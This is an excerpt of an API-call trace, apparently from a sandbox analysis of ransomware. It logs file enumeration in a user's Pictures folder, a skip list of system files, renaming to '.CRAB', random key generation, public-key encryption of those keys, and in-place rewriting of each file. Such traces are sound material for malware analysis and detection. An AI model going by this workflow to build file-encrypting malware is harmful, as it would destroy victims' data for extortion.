	[0133.706] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.707] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.707] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.707] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.707] lstrcmpW (lpString1="FxTvMYc2uPCahwMM_FH.jpg", lpString2=".") returned 1
	[0133.707] lstrcmpW (lpString1="FxTvMYc2uPCahwMM_FH.jpg", lpString2="..") returned 1
	[0133.707] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="FxTvMYc2uPCahwMM_FH.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg"
	[0133.707] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.708] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg") returned 54
	[0133.708] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg") returned 54
	[0133.708] lstrlenW (lpString=".jpg") returned 4
	[0133.708] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.708] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jpg ") returned 5
	[0133.708] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.708] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg") returned 54
	[0133.708] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg") returned 54
	[0133.708] lstrcmpiW (lpString1="FxTvMYc2uPCahwMM_FH.jpg", lpString2="desktop.ini") returned 1
	[0133.708] lstrcmpiW (lpString1="FxTvMYc2uPCahwMM_FH.jpg", lpString2="autorun.inf") returned 1
	[0133.708] lstrcmpiW (lpString1="FxTvMYc2uPCahwMM_FH.jpg", lpString2="ntuser.dat") returned -1
	[0133.708] lstrcmpiW (lpString1="FxTvMYc2uPCahwMM_FH.jpg", lpString2="iconcache.db") returned -1
	[0133.709] lstrcmpiW (lpString1="FxTvMYc2uPCahwMM_FH.jpg", lpString2="bootsect.bak") returned 1
	[0133.709] lstrcmpiW (lpString1="FxTvMYc2uPCahwMM_FH.jpg", lpString2="boot.ini") returned 1
	[0133.709] lstrcmpiW (lpString1="FxTvMYc2uPCahwMM_FH.jpg", lpString2="ntuser.dat.log") returned -1
	[0133.709] lstrcmpiW (lpString1="FxTvMYc2uPCahwMM_FH.jpg", lpString2="thumbs.db") returned -1
	[0133.709] lstrcmpiW (lpString1="FxTvMYc2uPCahwMM_FH.jpg", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.709] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.709] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg.CRAB") returned 59
	[0133.709] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\fxtvmyc2upcahwmm_fh.jpg")) returned 0x20
	[0133.709] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg", dwFileAttributes=0x20) returned 1
	[0133.710] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\fxtvmyc2upcahwmm_fh.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\fxtvmyc2upcahwmm_fh.jpg.crab")) returned 1
	[0133.710] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.711] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg.CRAB"
	[0133.711] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg.CRAB.CRAB"
	[0133.711] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0133.712] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.712] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.713] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.718] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0133.718] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0133.718] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.718] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0133.719] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.720] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.720] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.720] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0133.720] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0133.720] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.720] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.720] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.721] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0133.722] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320ef50) returned 1
	[0133.722] CryptGetKeyParam (in: hKey=0x320ef50, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0133.722] CryptEncrypt (in: hKey=0x320ef50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0133.722] GetLastError () returned 0x0
	[0133.722] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0133.723] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e6b0) returned 1
	[0133.724] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320f0d0) returned 1
	[0133.724] CryptGetKeyParam (in: hKey=0x320f0d0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0133.724] CryptEncrypt (in: hKey=0x320f0d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0133.724] GetLastError () returned 0x0
	[0133.724] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0133.724] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\FxTvMYc2uPCahwMM_FH.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\fxtvmyc2upcahwmm_fh.jpg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0133.725] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.725] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0133.725] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x599b, lpOverlapped=0x0) returned 1
	[0133.737] VirtualAlloc (lpAddress=0x0, dwSize=0x59a0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.738] VirtualAlloc (lpAddress=0x0, dwSize=0x59a0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0133.738] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.739] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffa665, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.739] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x59a0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x59a0, lpOverlapped=0x0) returned 1
	[0133.739] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.739] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.743] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0133.743] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0133.743] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0133.743] CloseHandle (hObject=0x3e8) returned 1
	[0133.743] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.744] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.744] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.744] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.744] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.745] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.745] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.745] lstrcmpW (lpString1="lpGq 7bMsABjwsMJW.jpg", lpString2=".") returned 1
	[0133.745] lstrcmpW (lpString1="lpGq 7bMsABjwsMJW.jpg", lpString2="..") returned 1
	[0133.745] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="lpGq 7bMsABjwsMJW.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg"
	[0133.745] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.745] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg") returned 52
	[0133.745] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg") returned 52
	[0133.745] lstrlenW (lpString=".jpg") returned 4
	[0133.745] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.746] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jpg ") returned 5
	[0133.746] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.746] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg") returned 52
	[0133.746] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg") returned 52
	[0133.746] lstrcmpiW (lpString1="lpGq 7bMsABjwsMJW.jpg", lpString2="desktop.ini") returned 1
	[0133.746] lstrcmpiW (lpString1="lpGq 7bMsABjwsMJW.jpg", lpString2="autorun.inf") returned 1
	[0133.746] lstrcmpiW (lpString1="lpGq 7bMsABjwsMJW.jpg", lpString2="ntuser.dat") returned -1
	[0133.746] lstrcmpiW (lpString1="lpGq 7bMsABjwsMJW.jpg", lpString2="iconcache.db") returned 1
	[0133.746] lstrcmpiW (lpString1="lpGq 7bMsABjwsMJW.jpg", lpString2="bootsect.bak") returned 1
	[0133.746] lstrcmpiW (lpString1="lpGq 7bMsABjwsMJW.jpg", lpString2="boot.ini") returned 1
	[0133.746] lstrcmpiW (lpString1="lpGq 7bMsABjwsMJW.jpg", lpString2="ntuser.dat.log") returned -1
	[0133.746] lstrcmpiW (lpString1="lpGq 7bMsABjwsMJW.jpg", lpString2="thumbs.db") returned -1
	[0133.746] lstrcmpiW (lpString1="lpGq 7bMsABjwsMJW.jpg", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.746] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.747] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg.CRAB") returned 57
	[0133.747] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\lpgq 7bmsabjwsmjw.jpg")) returned 0x20
	[0133.747] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg", dwFileAttributes=0x20) returned 1
	[0133.747] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\lpgq 7bmsabjwsmjw.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\lpgq 7bmsabjwsmjw.jpg.crab")) returned 1
	[0133.748] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.748] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg.CRAB"
	[0133.748] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg.CRAB.CRAB"
	[0133.749] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0133.750] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.750] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.750] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.750] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0133.750] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.750] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.751] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0133.752] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.752] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.752] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.752] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0133.752] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0133.752] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.753] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.753] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.753] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e5a0) returned 1
	[0133.754] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320ef90) returned 1
	[0133.754] CryptGetKeyParam (in: hKey=0x320ef90, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0133.754] CryptEncrypt (in: hKey=0x320ef90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0133.755] GetLastError () returned 0x0
	[0133.755] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0133.755] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e9e0) returned 1
	[0133.756] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320f010) returned 1
	[0133.756] CryptGetKeyParam (in: hKey=0x320f010, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0133.756] CryptEncrypt (in: hKey=0x320f010, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0133.757] GetLastError () returned 0x0
	[0133.757] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0133.757] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\lpGq 7bMsABjwsMJW.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\lpgq 7bmsabjwsmjw.jpg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0133.757] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.757] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0133.758] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x3b72, lpOverlapped=0x0) returned 1
	[0133.772] VirtualAlloc (lpAddress=0x0, dwSize=0x3b80, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.772] VirtualAlloc (lpAddress=0x0, dwSize=0x3b80, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0133.773] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.773] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffc48e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.773] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x3b80, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x3b80, lpOverlapped=0x0) returned 1
	[0133.773] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.774] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.777] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0133.778] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0133.778] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0133.778] CloseHandle (hObject=0x3e8) returned 1
	[0133.778] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.778] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.778] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.779] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.779] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.779] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.779] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.779] lstrcmpW (lpString1="puRAfkJuLj3.jpg", lpString2=".") returned 1
	[0133.779] lstrcmpW (lpString1="puRAfkJuLj3.jpg", lpString2="..") returned 1
	[0133.779] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="puRAfkJuLj3.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg"
	[0133.780] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.780] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg") returned 46
	[0133.780] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg") returned 46
	[0133.780] lstrlenW (lpString=".jpg") returned 4
	[0133.780] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.780] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jpg ") returned 5
	[0133.780] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.780] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg") returned 46
	[0133.781] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg") returned 46
	[0133.781] lstrcmpiW (lpString1="puRAfkJuLj3.jpg", lpString2="desktop.ini") returned 1
	[0133.781] lstrcmpiW (lpString1="puRAfkJuLj3.jpg", lpString2="autorun.inf") returned 1
	[0133.781] lstrcmpiW (lpString1="puRAfkJuLj3.jpg", lpString2="ntuser.dat") returned 1
	[0133.781] lstrcmpiW (lpString1="puRAfkJuLj3.jpg", lpString2="iconcache.db") returned 1
	[0133.781] lstrcmpiW (lpString1="puRAfkJuLj3.jpg", lpString2="bootsect.bak") returned 1
	[0133.781] lstrcmpiW (lpString1="puRAfkJuLj3.jpg", lpString2="boot.ini") returned 1
	[0133.781] lstrcmpiW (lpString1="puRAfkJuLj3.jpg", lpString2="ntuser.dat.log") returned 1
	[0133.781] lstrcmpiW (lpString1="puRAfkJuLj3.jpg", lpString2="thumbs.db") returned -1
	[0133.781] lstrcmpiW (lpString1="puRAfkJuLj3.jpg", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.781] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.781] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg.CRAB") returned 51
	[0133.781] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\purafkjulj3.jpg")) returned 0x20
